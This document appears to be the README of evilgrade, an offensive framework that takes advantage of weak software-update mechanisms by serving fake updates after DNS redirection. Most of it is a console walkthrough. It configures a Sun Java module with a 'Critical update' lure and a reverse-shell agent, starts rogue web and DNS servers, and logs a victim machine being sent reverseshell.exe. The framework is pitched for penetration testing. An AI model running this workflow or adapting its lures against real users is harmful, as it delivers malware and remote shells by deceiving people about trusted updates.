infobyte/evilgradeEvilgrade is a modular framework that allows the user to take advantage of poor upgrade implementations by injecting fake updates.
Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --
Evilgrade is a modular framework that allows the user to take advantage of poor upgrade implementations by injecting fake updates. It comes with pre-made binaries (agents), a working default configuration for fast pentests, and has it's own WebServer and DNSServer modules. Easy to set up new settings, and has an autoconfiguration when new binary agents are set.
This framework comes into play when the attacker is able to make hostname redirections (manipulation of victim's dns traffic), and such thing can be done on 2 scenarios:
Evilgrade works with modules, in each module there's an implemented structure which is needed to emulate a fake update for an specific application/system.
ISR-Evilgrade is crossplatform, it only depends of having an appropriate payload for the right target platform to be exploited.
It works similar to an IOS console
evilgrade>help
Type 'help command' for more detailed help on a command.
Commands:
configure - Configure <module-name> - no help available
exit - exits the program
help - prints this screen, or help on 'command'
reload - Reload to update all the modules - no help available
restart - Restart webserver - no help available
set - Configure variables - no help available
show - Display information of <object>.
start - Start webserver - no help available
status - Get webserver status - no help available
stop - Stop webserver - no help available
version - Display framework version. - no help available
Object:
options - Show options of current module.
vhosts - Show VirtualHosts of current module.
modules - List all modules available for use.
active - Show active modules.
evilgrade>show modules
List of modules:
===============
...
...
...
- 63 modules available.
evilgrade>conf sunjava
evilgrade(sunjava)>
evilgrade>show vhosts
Virtual hosts:
=============
[
"java.sun.com",
"javadl-esd.sun.com",
...
...
...
]
evilgrade(sunjava)>show options
Display options:
===============
Name = Sun Microsystems Java
Version = 2.0
Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"]
Description = ""
VirtualHost = "java.sun.com|javadl-esd.sun.com"
.-------------------------------------------------------------------------------------------------------------------------.
| Name | Default | Description |
+--------------+-------------------------------------------------+--------------------------------------------------------+
| website | http://java.com/moreinfolink | Website displayed in the update |
| enable | 1 | Status |
| atitle | Critical vulnerability | Title name to be displayed in the systray item popup |
| arg | | Arg passed to Agent |
| adescription | This critical update fix internal vulnerability | Description to be displayed in the systray item popup |
| description | This critical update fix internal vulnerability | Description to be displayed during the update |
| agent | ./agent/reverseshellsign.exe | Agent to inject |
| title | Critical update | Title name displayed in the update |
'--------------+-------------------------------------------------+--------------------------------------------------------'
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...
#### Waiting for victims
evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"
evilgrade>show status
Webserver (pid 4134) already running
Users status:
============
.---------------------------------------------------------------------------------------------------------------.
| Client | Module | Status | Md5,Cmd,File |
+----------------+------------------+--------+------------------------------------------------------------------+
| 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" |
'----------------+------------------+--------+------------------------------------------------------------------'
evilgrade>configure sunjava
evilgrade(sunjava)>
evilgrade>conf sunjava
evilgrade(sunjava)>
## 'conf' takes us back to the global configuration
evilgrade(sunjava)>conf
evilgrade>